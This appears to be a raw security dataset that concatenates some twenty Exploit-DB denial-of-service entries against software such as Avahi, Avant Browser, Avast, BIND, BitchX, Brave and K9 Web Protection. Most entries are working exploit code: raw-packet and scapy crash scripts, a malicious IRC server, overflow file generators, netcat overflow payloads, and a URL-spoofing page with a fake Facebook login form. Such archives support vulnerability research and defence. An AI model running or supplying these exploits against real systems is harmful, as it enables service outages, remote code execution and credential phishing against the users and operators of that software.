deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7520
Description: Avahi < 0.6.24 - mDNS Daemon Remote Denial of Service
Type: dos
Platform: multiple
Date: 2008-12-19
Author: Jon Oberheide

Exploit:
/*
 * cve-2008-5081.c
 *
 * Avahi mDNS Daemon Remote DoS < 0.6.24
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Usage:
 *
 *   gcc cve-2008-5081.c -ldnet -o cve-2008-5081
 *   ./cve-2008-5081 1.2.3.4
 *  
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5081
 *    
 *   Crafted mDNS packet with source port 0 can cause avahi-daemon  
 *   to abort() due to failed assertion assert(port > 0); in  
 *   originates_from_local_legacy_unicast_socket() function in
 *   avahi-core/server.c.
 *
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dnet.h>
 
int
main(int argc, char **argv)
{
    ip_t *sock;
    intf_t *intf;
    struct addr dst;
    struct ip_hdr *ip;
    struct udp_hdr *udp;
    struct intf_entry entry;
    int len = IP_HDR_LEN + UDP_HDR_LEN;
    char buf[len];
 
    if (argc < 2 || addr_aton(argv[1], &dst)) {  
        printf("error: please specify a target ip address\n");
        return 1;
    }
 
    memset(buf, 0, sizeof(buf));
 
    ip = (struct ip_hdr *) buf;
    ip->ip_v = 4;
    ip->ip_hl = 5;
    ip->ip_tos = 0;
    ip->ip_off = 0;
    ip->ip_sum = 0;
    ip->ip_ttl = IP_TTL_MAX;
    ip->ip_p = IP_PROTO_UDP;
    ip->ip_id = htons(0xdead);
    ip->ip_len = htons(len);
 
    udp = (struct udp_hdr *) (buf + IP_HDR_LEN);
    
    udp->uh_sum = 0;
    udp->uh_sport = htons(0);
    udp->uh_dport = htons(5353);
    udp->uh_ulen = htons(UDP_HDR_LEN);
 
    intf = intf_open();
    intf_get_dst(intf, &entry, &dst);
    intf_close(intf);
 
    ip->ip_src = entry.intf_addr.addr_ip;
    ip->ip_dst = dst.addr_ip;
    ip_checksum(buf, len);
 
    sock = ip_open();
    if (!sock) {
        printf("error: root privileges needed for raw socket\n");
        return 1;
    }
    ip_send(sock, buf, len);
    ip_close(sock);
 
    return 0;
}

// milw0rm.com [2008-12-19]
Exploit-DB #32381
Description: Avant Browser 11.7 Build 9 - JavaScript Engine Integer Overflow
Type: dos
Platform: multiple
Date: 2008-09-12
Author: 0x90

Exploit:
source: https://www.securityfocus.com/bid/31155/info

Avant Browser is prone to an integer-overflow vulnerability that occurs in the JavaScript engine.

An attacker can exploit this issue by enticing an unsuspecting victim to view a malicious site.

Successfully exploiting this issue may allow attackers to crash the affected application, denying service to legitimate users. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Avant Browser 11.7 Build 9 is vulnerable; other versions may also be affected.

NOTE: This vulnerability may be related to the issue described in BID 14917 (Mozilla Browser/Firefox JavaScript Engine Integer Overflow Vulnerability). 

<script>
var s=String.fromCharCode(257);
var a=""; var b="";
for(i=0;i<1024;i++){a=a+s;}
for(i=0;i<1024;i++){b=b+a;}
var ov=s;
for(i=0;i<28;i++) ov += ov;
for(i=0;i<88;i++) ov += b;
alert("0x90");
var Fuck=escape(ov);
alert("0x90 !");
alert(Fuck);
</script>
Exploit-DB #23050
Description: Avant Browser 8.0.2 - 'HTTP Request' Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2003-08-21
Author: nimber@designer.ru

Exploit:
source: https://www.securityfocus.com/bid/8471/info

It has been reported that a buffer overflow condition exists in the Avant Browser software that may cause an attacker to run arbitrary code on a vulnerable host in order to gain unauthorized access to the system. The vulnerability is due to a lack of boundary condition checks on URL values.

This issue may cause an attack to run arbitrary code on a host in the context of the user running the vulnerable version of Avant Browser.

http://AAAAAAA[more 780 chars]
<a href="http://AAA[more 780 chars]">aaa</a>
Exploit-DB #38933
Description: Avast! - Heap Overflow Unpacking MoleBox Archives
Type: dos
Platform: multiple
Date: 2015-12-10
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=552

Trivial fuzzing of molebox archives revealed a heap overflow decrypting the packed image in moleboxMaybeUnpack. This vulnerability is obviously exploitable for remote arbitrary code execution as NT AUTHORITY\SYSTEM.

The attached testcase should cause heap corruption in AvastSvc.exe, please enable page heap if you have trouble reproducing. 

HEAP[AvastSvc.exe]: ZwAllocateVirtualMemory failed c0000018 for heap 00310000 (base 0E560000, size 0006B000)
(474.9f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0e5cb478 ebx=0dd70000 ecx=0000d87f edx=0e55f080 esi=00310000 edi=00003bf8
eip=7731836b esp=0be6d338 ebp=0be6d364 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
ntdll!RtlpDeCommitFreeBlock+0x146:
7731836b 80780703        cmp     byte ptr [eax+7],3         ds:002b:0e5cb47f=??

#0  0xf702d588 in asw::root::NewDesCryptBlock(unsigned char*, unsigned int, unsigned char const*, bool, int) ()
#1  0xf702b009 in Mole_DecryptBuffer () from /proc/self/cwd/defs/15092301/engine.so
#2  0xf6f6a124 in moleboxMaybeUnpack(CFMap&, _PEEXE_INFO*, asw::root::CGenericFile*, _EXE_UNPACK_INFO*) () 
#3  0xf6f7630d in CPackWinExec::packGetNext(void*, ARCHIVED_FILE_INFO*) ()
#4  0xf6e8cdf3 in CAllPackers::GetNext(unsigned int, void*, ARCHIVED_FILE_INFO*) ()
#5  0xf6e76fc9 in CScanInfo::ProcessPackingReal(CObjectName&, CFMap&, _VIRUSDATAARRAY*, int&, unsigned int) ()
#6  0xf6e78bdd in CScanInfo::ProcessPacking(CObjectName&, unsigned int, unsigned int) ()
#7  0xf6e74fbd in CScanInfo::ProcessArea(CObjectName&, unsigned int, unsigned int) ()
#8  0xf6e752af in CScanInfo::ProcessTopArea(CObjectName&, unsigned int) ()
#9  0xf6e7d6db in avfilesScanRealMulti ()
#10 0xf6e81915 in avfilesScanReal ()
#11 0x0805d2a5 in avfilesScanReal ()
#12 0x0805498c in engine_scan ()

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38933.zip
Exploit-DB #38932
Description: Avast! - JetDb::Ised4x Performs Unbounded Search on Input
Type: dos
Platform: multiple
Date: 2015-12-10
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=551

The attached Microsoft Access Database causes JetDb::IsExploited4x to be called, which contains an unbounded search for objects.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38932.zip
Exploit-DB #38931
Description: Avast! - Out-of-Bounds Write Decrypting PEncrypt Packed executables
Type: dos
Platform: multiple
Date: 2015-12-10
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=554

The attached PEncrypt packed executable causes an OOB write on Avast Server Edition. 

(gdb) bt
#0  0xf6f5e64a in EmulatePolyCode(_POLY_INFO*, int) () from /proc/self/cwd/defs/15092301/engine.so
#1  0xf6f7d334 in pencryptMaybeUnpack(CFMap&, _PEEXE_INFO*, asw::root::CGenericFile*, _EXE_UNPACK_INFO*) () from /proc/self/cwd/defs/15092301/engine.so
#2  0xf6f75805 in CPackWinExec::packIsPacked(CFMap&, void**, ARCHIVE_UNPACKING_INFO*) () from /proc/self/cwd/defs/15092301/engine.so
#3  0xf6e8d1a2 in CAllPackers::IsPacked(CFMap&, _SARCHIVERANGE*, unsigned int, unsigned int, unsigned int, unsigned int, CObjectName const*, unsigned int*, unsigned int*, _PEEXE_INFO**) () from /proc/self/cwd/defs/15092301/engine.so
#4  0xf6e784ef in CScanInfo::ProcessPackingReal(CObjectName&, CFMap&, _VIRUSDATAARRAY*, int&, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#5  0xf6e78bdd in CScanInfo::ProcessPacking(CObjectName&, unsigned int, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#6  0xf6e74fbd in CScanInfo::ProcessArea(CObjectName&, unsigned int, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#7  0xf6e752af in CScanInfo::ProcessTopArea(CObjectName&, unsigned int) () from /proc/self/cwd/defs/15092301/engine.so
#8  0xf6e7d6db in avfilesScanRealMulti () from /proc/self/cwd/defs/15092301/engine.so
#9  0xf6e81915 in avfilesScanReal () from /proc/self/cwd/defs/15092301/engine.so
#10 0x0805d2a5 in avfilesScanReal ()
#11 0x0805498c in engine_scan ()
(gdb) x/i $pc
=> 0xf6f5e64a <_Z15EmulatePolyCodeP10_POLY_INFOi+7194>:	mov    WORD PTR [edx],ax
(gdb) p/x $edx
$7 = 0xe73f181f
(gdb) p/x $ax
$8 = 0x1060

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38931.zip
Exploit-DB #15428
Description: Avidemux 2.5.4 - Buffer Overflow
Type: dos
Platform: multiple
Date: 2010-11-05
Author: The_UnKn@wn

Exploit:
#!/usr/bin/env ruby
# avidemux_crash.rb
#
# Title		:	Avidemux <= 2.5.4 Buffer Overflow PoC
# Date		:	31.10.2010
# Version	: 	<= 2.5.4
# Software Link	: 	http://avidemux.sourceforge.net/download.html / http://avidemux.razorbyte.com.au/
# Author	:	The_UnKn@wn
# Email		: 	the_unknown [at] group51 [dot] org
# Homepage	: 	http://group51.org
# Tested on	:	openSUSE 11.3 and Windows XP SP3 English
#
# Usage:
# 	ruby avidemux_crash.rb <a *.mpg file>
# 	Start Avidemux --> Load/Run Project --> crash!!
#
# Note:
# 	You can also use another video file format you would have to change the Format in Line and maybe some other stuff #54 too
#

file = ARGV[0]

if file.nil?
	puts "Usage: ruby #{__FILE__} <path to sample video .mpg file>"
	exit
end
name = "avidemux.prj"

text = "//AD  <- Needed to identify//\n" +
"//--automatically built--\n"+
"var app = new Avidemux();\n"+
"//** Video **\n"+
"// 01 videos source \n"+
"app.load(\"#{file}\");\n"+
"//01 segments:\n"+
"app.clearSegments();\n"+
"app.addSegment(0,0,157699);\n"+
"app.markerA=0;\n"+
"app.markerB=77543;\n"+
"app.rebuildIndex();\n"+
"//** Postproc **\n"+
"app.video.setPostProc(3,3,0);\n"+
"app.video.fps1000 = 25000;\n"+
"//** Filters **\n"+
"//** Video Codec conf **\n"+
"app.video.codec(\"Copy\", \"CQ=4\", \"200 \"); \n"+ # <-- here is the vuln app.video.codec("Copy","CQ=4","0 ");
"//** Audio **\n"+
"app.audio.reset();\n"+
"app.audio.codec(\"copy\",[PII_REDACTED],0,\"\");\n"+
"app.audio.normalizeMode=0;\n"+
"app.audio.normalizeValue=0;\n"+
"app.audio.delay=0;\n"+
"app.audio.mixer=\"NONE\";\n"+
"app.setContainer(\"AVI\");\n"+
"setSuccess(1);\n"+
"//app.Exit();\n"+
"//End of script"

File.open(name, "w") do |f|
	f.puts(text)
end

puts "File #{name} has been created successfully"
Exploit-DB #22859
Description: Axis Print Server 6.15/6.20 - Web Interface Denial of Service
Type: dos
Platform: multiple
Date: 2003-07-03
Author: Ian Vitek

Exploit:
source: https://www.securityfocus.com/bid/8096/info

Axis Print Server web interface could expose the device to a denial of service vulnerability. 

It has been reported that an attacker may make a malicious HTTP request that will trigger an exception in the affected server, effectively denying service to legitimate users.

It is not known if the denial of service is limited to the web interface or the entire appliance.

It should be noted that while this vulnerability has been reported to affect the web interface of Axis Print Server 560 and 5600 running firmware versions 6.10, 6.15 and 6.20, other versions might also be affected.

http://ps/u_server.shtm?port=a_server.shtm
http://ps/u_server.shtm?port=<!--
http://ps/?_
Exploit-DB #36007
Description: AzeoTech DaqFactory - Denial of Service
Type: dos
Platform: multiple
Date: 2011-06-24
Author: Knud Erik Hojgaard

Exploit:
source: https://www.securityfocus.com/bid/48955/info

AzeoTech DAQFactory is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the application to crash, denying service to legitimate users.

Versions prior to DAQFactory 5.85 are vulnerable. 


The following exploit requests are available:

preamble:
"\x01\x00\x09\x00CPassword\x00"

reboot:
"\x01\x00\x0f\x00CCommandGeneric\x01\x00\x00\x00\x04\x00\x00\x00"

shutdown:
"\x01\x00\x0f\x00CCommandGeneric\x01\x00\x00\x00\x06\x00\x00\x00"
Exploit-DB #35369
Description: Battlefield 2/2142 - Packet Null Pointer Dereference Remote Denial of Service
Type: dos
Platform: multiple
Date: 2011-02-22
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/46478/info

Battlefield 2 and 2142 are prone to a remote denial-of-service vulnerability due to a NULL-pointer dereference condition.

An attacker may exploit this issue to crash the application, resulting in a denial-of-service condition.

Battlefield 2 version 1.50 and Battlefield 2142 version 1.51 are vulnerable. Other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35369.zip
Exploit-DB #19212
Description: Behold! Software Web Page Counter 2.7 - Denial of Service
Type: dos
Platform: multiple
Date: 1999-05-19
Author: David Litchfield

Exploit:
source: https://www.securityfocus.com/bid/267/info

A set of vulnerabilities in the counter.exe web hit counter program enables denial of service attacks.

A malicious user can create a malformed like ",1" entry in the counter.log file by requesting a URL of the form "http://www.example.com/scripts/counter.exe?%0A". Any further attempt for request will result in an Access Violation in counter.exe.

A similar vulnerability exists if a user requests a URL of the form "http://www.example.com/scripts/counter.exe?AAAAA" with over 2200 A's.

All further requests for counter.exe are queued and are not processed until the error messages are cleared at the console. System memory may be decremented each time a request for counter.exe is queued.
Exploit-DB #48521
Description: BIND - 'TSIG' Denial of Service
Type: dos
Platform: multiple
Date: 2020-05-20
Author: Teppei Fukuda

Exploit:
#!/usr/bin/python
#coding:utf-8

from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", time_signed=0, fudge=300, error=16)

dns_req = IP(dst='127.0.0.1')/UDP(dport=53)/DNS(rd=1, ad=1, qd=DNSQR(qname='www.example.com'), ar=tsig)
answer = sr1(dns_req, verbose=0)

print(answer[DNS].summary())
Exploit-DB #1947
Description: BitchX 1.1-final - 'do_hook()' Remote Denial of Service
Type: dos
Platform: multiple
Date: 2006-06-24
Author: Federico L. Bossi Bonin

Exploit:
// BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS
/////////////////////////////////////////////////////////////////////////
// Federico L. Bossi Bonin
// fbossi<at>netcomm<dot>com<dot>ar


// #0  0x080a3fcc in BX_do_hook (which=9999999, format=0x8119077 "%s %s") at hook.c:865
// #1  0x080d013b in numbered_command (from=0xbfbfe031 'A' <repeats 200 times>, 
// comm=-9999999, ArgList=0xbfbfd788) at numbers.c:1413
// #2  0x080d7d02 in parse_server (orig_line=0xbfbfe030 ":", 'A' <repeats 199 times>...) at parse.c:1912
// #3  0x080de3c2 in do_server (rd=0xbfbfe8a0, wr=0xbfbfe880) at server.c:584
// #4  0x080b030f in BX_io (what=0x810b85a "main") at irc.c:1319
// #5  0x080b09da in main (argc=6, argv=0xbfbfe9d4, envp=0xbfbfe9f0) at irc.c:1687
// #6  0x0804aec2 in ___start ()

//greats to nitr0us, beck, gruba, samelat, ran, etc..

#include <stdio.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 6667
#define LEN 100

int intalign=-999; //use negative number

void sendbuff(int sock) {
char ptr[LEN];
char buffer[2048];
bzero(ptr,LEN);
bzero(buffer,2048);
memset(ptr,0x41,sizeof(ptr)-1);
sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr);
write(sock,buffer,sizeof(buffer));
}

int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

if (sockfd < 0) { 
perror("error socket()"); 
exit(1);
}
     
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);

if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0)  {
perror("error bind()");
exit(1);
}


printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n");
printf("====================================================================\n");
printf("Listening on port %i\n",PORT);

listen(sockfd,5);
len = sizeof(client);

while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0)  {
perror("error accept()");
exit(1);
}

pid = fork();
if (pid < 0)  {
perror("fork()");
exit(1);
}
if (pid == 0)  {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
} 
return 0;
}

// milw0rm.com [2006-06-24]
Exploit-DB #28561
Description: Blast XPlayer - Local Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2013-09-26
Author: flux77

Exploit:
Title: Blast XPlayer Local Buffer Overflow PoC
Vendor: http://sourceforge.net/projects/blast-player/files/latest/download?source=dlp
Versions: Beta
Platform: nix*, windows
Bug: Buffer Overflow


-------------------------------------------------------
 
1) Introduction
2) Proof of concept
3) Credits
 
 
===========
1) Introduction
===========
 
This application is a music player application is very practical and simple. 
Easy to use and the capacity that is not too big only 5MB. 
with this application you can play music whenever you want to store in flashdisc 
and opened on the computer without having to install it first. 
This application is still in the Indonesian version, but will be present in the english version in a few days.
 
=====
2)proof of concept
=====
 
#!/usr/bin/perl

$bof = "A" x 2013;
$filename = "bof.mp3";
open (FILE,">$filename");
print FILE "$bof";
print "\ncreated!!!\n";

=====
3)Credits
=====
 
flux77
Contact : 0xflux77 at gmail.com
Exploit-DB #30540
Description: Blizzard Entertainment StarCraft Brood War 1.15.1 - Minimap Preview Remote Denial of Service
Type: dos
Platform: multiple
Date: 2007-08-28
Author: Gynvael Coldwind

Exploit:
source: https://www.securityfocus.com/bid/25478/info

StarCraft Brood War is prone to a remote denial-of-service vulnerability because the application fails to handle exceptional conditions.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

This issue affects StarCraft Brood War 1.15.1; prior versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30540.scm
Exploit-DB #30163
Description: Blue Coat Systems K9 Web Protection 32.36 - Remote Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2007-06-08
Author: Dennis Rand

Exploit:
source: https://www.securityfocus.com/bid/24373/info

K9 Web Protection is prone to a buffer-overflow vulnerability because it fails to perform sufficient boundary checks on user-supplied data before copying it to a buffer.

An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.

K9 Web Protection 3.2.36 is reported vulnerable; other versions may be affected as well.

<html>
<head>
<title>CSIS.DK - BlueCoat K9 Web Protection Overflow</title>
<center>
</center>
</head>
<body>
<h4><center> Discovery and Exploit by Dennis Rand - CSIS.DK</h4></center>
<br><b>http://127.0.0.1:2372/home.html[Ax168][DCBA][A x 56][BBBB][AAAA] </b><br>
<br><li> Return Address = DCBA
<br><li> Pointer to the next SEH record = BBBB
<br><li> SE Handler = AAAA
<br>
<center>
<b><A
HREF="http://127.0.0.1:2372/home.htmlAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCC
CDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGHHHHHHHHHHHH
HHHHaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbccccccccDCBAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCC
CCCCCCCCCCCCCDDDDDDDDaaaabbbb">RUN PoC</A></b>
</center>
</body>
</html>
Exploit-DB #31327
Description: Borland StarTeam 2008 10.0.57 - Multiple Remote Vulnerabilities
Type: dos
Platform: multiple
Date: 2008-03-03
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28080/info

Borland StarTeam is prone to multiple issues, including multiple integer-overflow vulnerabilities, a heap-overflow vulnerability, and a denial-of-service vulnerability.

Successfully exploiting these issues allows remote attackers to execute arbitrary machine code in the context of vulnerable server processes. These issues may facilitate the remote compromise of affected computers. Attackers may also trigger denial-of-service conditions.

NOTE: The StarTeam MPX vulnerabilities may actually be related to a TIBCO SmartSocket DLL, but this has not been confirmed. We may update this BID as more information emerges.

Borland StarTeam Server 2008 and MPX products are vulnerable to these issues; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31327-1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31327-2.zip
Exploit-DB #40994
Description: Brave Browser 1.2.16/1.9.56 - Address Bar URL Spoofing
Type: dos
Platform: multiple
Date: 2017-01-08
Author: Aaditya Purani

Exploit:
Brave Browser Suffers from Address Bar Spoofing Vulnerability. Address Bar
spoofing is a critical vulnerability in which any attacker can spoof the
address bar to a legit looking website but the content of the web-page
remains different from the Address-Bar display of the site. In Simple
words, the victim sees a familiar looking URL but the content is not from
the same URL but the attacker controlled content. Some companies say "We
recognize that the address bar is the only reliable security indicator in
modern browsers" .
Products affected:

   - In IOS - Affected is the Latest Version 1.2.16 (16.09.30.10)
   - In Android - Affected in Brave Latest version 1.9.56


Exploit Code: 

<html>
<title>Address Bar spoofing Brave</title>
<h1> This is Dummy Facebook </h1>
<form>
Email: <input type="text" name="username" placeholder="add email"><br>
Password: <input type="text" name="password" placeholder="pass">
<script>
function f()
{
location = "https://facebook.com"
}
setInterval("f()", 10);
</script>
</html>
Exploit-DB #24386
Description: British National Corpus SARA - Remote Buffer Overflow
Type: dos
Platform: multiple
Date: 2004-07-20
Author: Matthias Bethke

Exploit:
source: https://www.securityfocus.com/bid/10984/info

sarad is reported prone to a buffer overflow vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

A remote attacker can trigger the overflow condition by supplying a large string value to the application. Arbitrary code execution is possible in the context of the server.

In addition to this issue, it is reported that various other instances of potential buffer overflow and format string vulnerabilities exist throughout the application. These issues exist due to the use of strcpy() and sprintf functions. This BID will be updated upon further analysis.

perl -e 'print "SUCK" x 11; print chr foreach(0x90,0xdb,0x14,0x40,0);' | netcat victim 7000